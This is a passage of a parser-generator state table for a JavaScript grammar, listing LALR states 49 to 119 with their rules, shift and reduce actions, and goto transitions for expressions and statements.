state 149 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - -state 49 - - 100) UnaryExprNoBF : PostfixExprNoBF _ - - $default reduce using rule 100 (UnaryExprNoBF) - - -state 50 - - 101) UnaryExprNoBF : UnaryExprCommon _ - - $default reduce using rule 101 (UnaryExprNoBF) - - -state 51 - - 106) MultiplicativeExprNoBF : UnaryExprNoBF _ - - $default reduce using rule 106 (MultiplicativeExprNoBF) - - -state 52 - - 107) MultiplicativeExprNoBF : MultiplicativeExprNoBF _ "*" UnaryExpr - 108) MultiplicativeExprNoBF : MultiplicativeExprNoBF _ "/" UnaryExpr - 109) MultiplicativeExprNoBF : MultiplicativeExprNoBF _ "%" UnaryExpr - 113) AdditiveExprNoBF : MultiplicativeExprNoBF _ - - "*" shift, and go to state 150 - "/" shift, and go to state 151 - "%" shift, and go to state 152 - $default reduce using rule 113 (AdditiveExprNoBF) - - -state 53 - - 114) AdditiveExprNoBF : AdditiveExprNoBF _ "+" MultiplicativeExpr - 115) AdditiveExprNoBF : AdditiveExprNoBF _ "-" MultiplicativeExpr - 120) ShiftExprNoBF : AdditiveExprNoBF _ - - "+" shift, and go to state 153 - "-" shift, and go to state 154 - $default reduce using rule 120 (ShiftExprNoBF) - - -state 54 - - 121) ShiftExprNoBF : ShiftExprNoBF _ LSHIFT AdditiveExpr - 122) ShiftExprNoBF : ShiftExprNoBF _ RSHIFT AdditiveExpr - 123) ShiftExprNoBF : ShiftExprNoBF _ URSHIFT AdditiveExpr - 137) RelationalExprNoBF : ShiftExprNoBF _ - - LSHIFT shift, and go to state 155 - RSHIFT shift, and go to state 156 - URSHIFT shift, and go to state 157 - $default reduce using rule 137 (RelationalExprNoBF) - - -state 55 - - 138) RelationalExprNoBF : RelationalExprNoBF _ "<" ShiftExpr - 139) RelationalExprNoBF : RelationalExprNoBF _ ">" ShiftExpr - 140) RelationalExprNoBF : RelationalExprNoBF _ LE ShiftExpr - 141) RelationalExprNoBF : RelationalExprNoBF _ GE ShiftExpr - 142) RelationalExprNoBF : RelationalExprNoBF _ INSTANCEOF ShiftExpr - 143) RelationalExprNoBF : RelationalExprNoBF _ IN ShiftExpr - 154) EqualityExprNoBF : RelationalExprNoBF _ - - IN shift, and go to state 163 - INSTANCEOF shift, and go to state 162 - LE shift, and go to state 160 - GE shift, and go to state 161 - "<" shift, and go to state 158 - ">" shift, and go to state 159 - $default reduce using rule 154 (EqualityExprNoBF) - - -state 56 - - 155) EqualityExprNoBF : EqualityExprNoBF _ EQEQ RelationalExpr - 156) EqualityExprNoBF : EqualityExprNoBF _ NE RelationalExpr - 157) EqualityExprNoBF : EqualityExprNoBF _ STREQ RelationalExpr - 158) EqualityExprNoBF : EqualityExprNoBF _ STRNEQ RelationalExpr - 163) BitwiseANDExprNoBF : EqualityExprNoBF _ - - EQEQ shift, and go to state 164 - NE shift, and go to state 165 - STREQ shift, and go to state 166 - STRNEQ shift, and go to state 167 - $default reduce using rule 163 (BitwiseANDExprNoBF) - - -state 57 - - 164) BitwiseANDExprNoBF : BitwiseANDExprNoBF _ "&" EqualityExpr - 169) BitwiseXORExprNoBF : BitwiseANDExprNoBF _ - - "&" shift, and go to state 168 - $default reduce using rule 169 (BitwiseXORExprNoBF) - - -state 58 - - 170) BitwiseXORExprNoBF : BitwiseXORExprNoBF _ "^" BitwiseANDExpr - 175) BitwiseORExprNoBF : BitwiseXORExprNoBF _ - - "^" shift, and go to state 169 - $default reduce using rule 175 (BitwiseORExprNoBF) - - -state 59 - - 176) BitwiseORExprNoBF : BitwiseORExprNoBF _ "|" BitwiseXORExpr - 181) LogicalANDExprNoBF : BitwiseORExprNoBF _ - - "|" shift, and go to state 170 - $default reduce using rule 181 (LogicalANDExprNoBF) - - -state 60 - - 182) LogicalANDExprNoBF : LogicalANDExprNoBF _ AND BitwiseORExpr - 187) LogicalORExprNoBF : LogicalANDExprNoBF _ - - AND shift, and go to state 171 - $default reduce using rule 187 (LogicalORExprNoBF) - - -state 61 - - 188) LogicalORExprNoBF : LogicalORExprNoBF _ OR LogicalANDExpr - 193) ConditionalExprNoBF : LogicalORExprNoBF _ - 194) ConditionalExprNoBF : LogicalORExprNoBF _ "?" AssignmentExpr ":" AssignmentExpr - - OR shift, and go to state 172 - "?" shift, and go to state 173 - $default reduce using rule 193 (ConditionalExprNoBF) - - -state 62 - - 199) AssignmentExprNoBF : ConditionalExprNoBF _ - - $default reduce using rule 199 (AssignmentExprNoBF) - - -state 63 - - 217) ExprNoBF : AssignmentExprNoBF _ - - $default reduce using rule 217 (ExprNoBF) - - -state 64 - - 218) ExprNoBF : ExprNoBF _ "," AssignmentExpr - 239) ExprStatement : ExprNoBF _ ";" - 240) ExprStatement : ExprNoBF _ error - - error shift, and go to state 176 - "," shift, and go to state 174 - ";" shift, and go to state 175 - - -state 65 - - 219) Block : "{" _ SourceElements "}" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - FUNCTION shift, and go to state 81 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - $default reduce using rule 1 (SourceElements) - - SourceElementList go to state 2 - SourceElement go to state 3 - FunctionDeclaration go to state 4 - Statement go to state 5 - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - SourceElements go to state 177 - -state 66 - - 220) VariableStatement : VAR _ VariableDeclarationList ";" - 221) VariableStatement : VAR _ VariableDeclarationList error - - IDENT shift, and go to state 180 - - VariableDeclarationList go to state 178 - VariableDeclaration go to state 179 - -state 67 - - 230) ConstStatement : CONST _ ConstDeclarationList ";" - 231) ConstStatement : CONST _ ConstDeclarationList error - - IDENT shift, and go to state 183 - - ConstDeclarationList go to state 181 - ConstDeclaration go to state 182 - -state 68 - - 238) EmptyStatement : ";" _ - - $default reduce using rule 238 (EmptyStatement) - - -state 69 - - 241) IfStatement : IF _ "(" Expr ")" Statement - 242) IfStatement : IF _ "(" Expr ")" Statement ELSE Statement - - "(" shift, and go to state 184 - - -state 70 - - 243) IterationStatement : DO _ Statement WHILE "(" Expr ")" ";" - 244) IterationStatement : DO _ Statement WHILE "(" Expr ")" error - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - Statement go to state 185 - -state 71 - - 245) IterationStatement : WHILE _ "(" Expr ")" Statement - - "(" shift, and go to state 186 - - -state 72 - - 246) IterationStatement : FOR _ "(" ExprNoInOpt ";" ExprOpt ";" ExprOpt ")" Statement - 247) IterationStatement : FOR _ "(" VAR VariableDeclarationListNoIn ";" ExprOpt ";" ExprOpt ")" Statement - 248) IterationStatement : FOR _ "(" LeftHandSideExpr IN Expr ")" Statement - 249) IterationStatement : FOR _ "(" VAR IDENT IN Expr ")" Statement - 250) IterationStatement : FOR _ "(" VAR IDENT InitializerNoIn IN Expr ")" Statement - - "(" shift, and go to state 187 - - -state 73 - - 255) ContinueStatement : CONTINUE _ ";" - 256) ContinueStatement : CONTINUE _ error - 257) ContinueStatement : CONTINUE _ IDENT ";" - 258) ContinueStatement : CONTINUE _ IDENT error - - error shift, and go to state 189 - IDENT shift, and go to state 190 - ";" shift, and go to state 188 - - -state 74 - - 259) BreakStatement : BREAK _ ";" - 260) BreakStatement : BREAK _ error - 261) BreakStatement : BREAK _ IDENT ";" - 262) BreakStatement : BREAK _ IDENT error - - error shift, and go to state 192 - IDENT shift, and go to state 193 - ";" shift, and go to state 191 - - -state 75 - - 263) ReturnStatement : RETURN _ ";" - 264) ReturnStatement : RETURN _ error - 265) ReturnStatement : RETURN _ Expr ";" - 266) ReturnStatement : RETURN _ Expr error - - error shift, and go to state 196 - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 195 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - Expr go to state 194 - -state 76 - - 267) WithStatement : WITH _ "(" Expr ")" Statement - - "(" shift, and go to state 197 - - -state 77 - - 268) SwitchStatement : SWITCH _ "(" Expr ")" CaseBlock - - "(" shift, and go to state 198 - - -state 78 - - 278) ThrowStatement : THROW _ Expr ";" - 279) ThrowStatement : THROW _ Expr error - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - Expr go to state 199 - -state 79 - - 280) TryStatement : TRY _ Block FINALLY Block - 281) TryStatement : TRY _ Block CATCH "(" IDENT ")" Block - 282) TryStatement : TRY _ Block CATCH "(" IDENT ")" Block FINALLY Block - - "{" shift, and go to state 65 - - Block go to state 200 - -state 80 - - 283) DebuggerStatement : DEBUGGER _ ";" - 284) DebuggerStatement : DEBUGGER _ error - - error shift, and go to state 202 - ";" shift, and go to state 201 - - -state 81 - - 285) FunctionDeclaration : FUNCTION _ IDENT "(" ")" "{" FunctionBody "}" - 286) FunctionDeclaration : FUNCTION _ IDENT "(" FormalParameterList ")" "{" FunctionBody "}" - - IDENT shift, and go to state 203 - - -state 82 - - - $end shift, and go to state 204 - - -state 83 - - 4) SourceElementList : SourceElementList SourceElement _ - - $default reduce using rule 4 (SourceElementList) - - -state 84 - - 277) LabelledStatement : IDENT ":" _ Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - Statement go to state 205 - -state 85 - - 36) PrimaryExpr : PrimaryExprNoBrace _ - - $default reduce using rule 36 (PrimaryExpr) - - -state 86 - - 37) PrimaryExpr : "{" _ "}" - 38) PrimaryExpr : "{" _ PropertyList "}" - 39) PrimaryExpr : "{" _ PropertyList "," "}" - - NUMBER shift, and go to state 208 - STRING shift, and go to state 207 - IDENT shift, and go to state 206 - "}" shift, and go to state 211 - - Property go to state 209 - PropertyList go to state 210 - -state 87 - - 43) PrimaryExprNoBrace : IDENT _ - - $default reduce using rule 43 (PrimaryExprNoBrace) - - -state 88 - - 44) PrimaryExprNoBrace : "(" Expr _ ")" - 214) Expr : Expr _ "," AssignmentExpr - - ")" shift, and go to state 212 - "," shift, and go to state 213 - - -state 89 - - 54) MemberExpr : PrimaryExpr _ - - $default reduce using rule 54 (MemberExpr) - - -state 90 - - 55) MemberExpr : FunctionExpr _ - - $default reduce using rule 55 (MemberExpr) - - -state 91 - - 56) MemberExpr : MemberExpr _ "[" Expr "]" - 57) MemberExpr : MemberExpr _ "." IDENT - 63) NewExpr : MemberExpr _ - 67) CallExpr : MemberExpr _ Arguments - - "(" shift, and go to state 119 - "[" shift, and go to state 214 - "." shift, and go to state 215 - $default reduce using rule 63 (NewExpr) - - Arguments go to state 216 - -state 92 - - 58) MemberExpr : NEW _ MemberExpr Arguments - 64) NewExpr : NEW _ NewExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 217 - NewExpr go to state 218 - -state 93 - - 68) CallExpr : CallExpr _ Arguments - 69) CallExpr : CallExpr _ "[" Expr "]" - 70) CallExpr : CallExpr _ "." IDENT - 80) LeftHandSideExpr : CallExpr _ - - "(" shift, and go to state 119 - "[" shift, and go to state 220 - "." shift, and go to state 221 - $default reduce using rule 80 (LeftHandSideExpr) - - Arguments go to state 219 - -state 94 - - 79) LeftHandSideExpr : NewExpr _ - - $default reduce using rule 79 (LeftHandSideExpr) - - -state 95 - - 83) PostfixExpr : LeftHandSideExpr _ - 84) PostfixExpr : LeftHandSideExpr _ PLUSPLUS - 85) PostfixExpr : LeftHandSideExpr _ MINUSMINUS - 196) AssignmentExpr : LeftHandSideExpr _ AssignmentOperator AssignmentExpr - - PLUSPLUS shift, and go to state 222 - MINUSMINUS shift, and go to state 223 - PLUSEQUAL shift, and go to state 129 - MINUSEQUAL shift, and go to state 130 - MULTEQUAL shift, and go to state 131 - DIVEQUAL shift, and go to state 132 - LSHIFTEQUAL shift, and go to state 133 - RSHIFTEQUAL shift, and go to state 134 - URSHIFTEQUAL shift, and go to state 135 - ANDEQUAL shift, and go to state 136 - MODEQUAL shift, and go to state 139 - XOREQUAL shift, and go to state 137 - OREQUAL shift, and go to state 138 - "=" shift, and go to state 128 - $default reduce using rule 83 (PostfixExpr) - - AssignmentOperator go to state 224 - -state 96 - - 98) UnaryExpr : PostfixExpr _ - - $default reduce using rule 98 (UnaryExpr) - - -state 97 - - 99) UnaryExpr : UnaryExprCommon _ - - $default reduce using rule 99 (UnaryExpr) - - -state 98 - - 102) MultiplicativeExpr : UnaryExpr _ - - $default reduce using rule 102 (MultiplicativeExpr) - - -state 99 - - 103) MultiplicativeExpr : MultiplicativeExpr _ "*" UnaryExpr - 104) MultiplicativeExpr : MultiplicativeExpr _ "/" UnaryExpr - 105) MultiplicativeExpr : MultiplicativeExpr _ "%" UnaryExpr - 110) AdditiveExpr : MultiplicativeExpr _ - - "*" shift, and go to state 225 - "/" shift, and go to state 226 - "%" shift, and go to state 227 - $default reduce using rule 110 (AdditiveExpr) - - -state 100 - - 111) AdditiveExpr : AdditiveExpr _ "+" MultiplicativeExpr - 112) AdditiveExpr : AdditiveExpr _ "-" MultiplicativeExpr - 116) ShiftExpr : AdditiveExpr _ - - "+" shift, and go to state 228 - "-" shift, and go to state 229 - $default reduce using rule 116 (ShiftExpr) - - -state 101 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 124) RelationalExpr : ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 124 (RelationalExpr) - - -state 102 - - 125) RelationalExpr : RelationalExpr _ "<" ShiftExpr - 126) RelationalExpr : RelationalExpr _ ">" ShiftExpr - 127) RelationalExpr : RelationalExpr _ LE ShiftExpr - 128) RelationalExpr : RelationalExpr _ GE ShiftExpr - 129) RelationalExpr : RelationalExpr _ INSTANCEOF ShiftExpr - 130) RelationalExpr : RelationalExpr _ IN ShiftExpr - 144) EqualityExpr : RelationalExpr _ - - IN shift, and go to state 238 - INSTANCEOF shift, and go to state 237 - LE shift, and go to state 235 - GE shift, and go to state 236 - "<" shift, and go to state 233 - ">" shift, and go to state 234 - $default reduce using rule 144 (EqualityExpr) - - -state 103 - - 145) EqualityExpr : EqualityExpr _ EQEQ RelationalExpr - 146) EqualityExpr : EqualityExpr _ NE RelationalExpr - 147) EqualityExpr : EqualityExpr _ STREQ RelationalExpr - 148) EqualityExpr : EqualityExpr _ STRNEQ RelationalExpr - 159) BitwiseANDExpr : EqualityExpr _ - - EQEQ shift, and go to state 239 - NE shift, and go to state 240 - STREQ shift, and go to state 241 - STRNEQ shift, and go to state 242 - $default reduce using rule 159 (BitwiseANDExpr) - - -state 104 - - 160) BitwiseANDExpr : BitwiseANDExpr _ "&" EqualityExpr - 165) BitwiseXORExpr : BitwiseANDExpr _ - - "&" shift, and go to state 243 - $default reduce using rule 165 (BitwiseXORExpr) - - -state 105 - - 166) BitwiseXORExpr : BitwiseXORExpr _ "^" BitwiseANDExpr - 171) BitwiseORExpr : BitwiseXORExpr _ - - "^" shift, and go to state 244 - $default reduce using rule 171 (BitwiseORExpr) - - -state 106 - - 172) BitwiseORExpr : BitwiseORExpr _ "|" BitwiseXORExpr - 177) LogicalANDExpr : BitwiseORExpr _ - - "|" shift, and go to state 245 - $default reduce using rule 177 (LogicalANDExpr) - - -state 107 - - 178) LogicalANDExpr : LogicalANDExpr _ AND BitwiseORExpr - 183) LogicalORExpr : LogicalANDExpr _ - - AND shift, and go to state 246 - $default reduce using rule 183 (LogicalORExpr) - - -state 108 - - 184) LogicalORExpr : LogicalORExpr _ OR LogicalANDExpr - 189) ConditionalExpr : LogicalORExpr _ - 190) ConditionalExpr : LogicalORExpr _ "?" AssignmentExpr ":" AssignmentExpr - - OR shift, and go to state 247 - "?" shift, and go to state 248 - $default reduce using rule 189 (ConditionalExpr) - - -state 109 - - 195) AssignmentExpr : ConditionalExpr _ - - $default reduce using rule 195 (AssignmentExpr) - - -state 110 - - 213) Expr : AssignmentExpr _ - - $default reduce using rule 213 (Expr) - - -state 111 - - 287) FunctionExpr : FUNCTION _ "(" ")" "{" FunctionBody "}" - 288) FunctionExpr : FUNCTION _ "(" FormalParameterList ")" "{" FunctionBody "}" - 289) FunctionExpr : FUNCTION _ IDENT "(" ")" "{" FunctionBody "}" - 290) FunctionExpr : FUNCTION _ IDENT "(" FormalParameterList ")" "{" FunctionBody "}" - - IDENT shift, and go to state 250 - "(" shift, and go to state 249 - - -state 112 - - 45) ArrayLiteral : "[" ElisionOpt _ "]" - 48) ElementList : ElisionOpt _ AssignmentExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "]" shift, and go to state 251 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - AssignmentExpr go to state 252 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - -state 113 - - 46) ArrayLiteral : "[" ElementList _ "]" - 47) ArrayLiteral : "[" ElementList _ "," ElisionOpt "]" - 49) ElementList : ElementList _ "," ElisionOpt AssignmentExpr - - "," shift, and go to state 254 - "]" shift, and go to state 253 - - -state 114 - - 51) ElisionOpt : Elision _ - 53) Elision : Elision _ "," - - "," shift, and go to state 255 - $default reduce using rule 51 (ElisionOpt) - - -state 115 - - 52) Elision : "," _ - - $default reduce using rule 52 (Elision) - - -state 116 - - 60) MemberExprNoBF : MemberExprNoBF "[" _ Expr "]" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - Expr go to state 256 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - -state 117 - - 61) MemberExprNoBF : MemberExprNoBF "." _ IDENT - - IDENT shift, and go to state 257 - - -state 118 - - 71) CallExprNoBF : MemberExprNoBF Arguments _ - - $default reduce using rule 71 (CallExprNoBF) - - -state 119 - - 75) Arguments : "(" _ ")" - 76) Arguments : "(" _ ArgumentList ")" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - 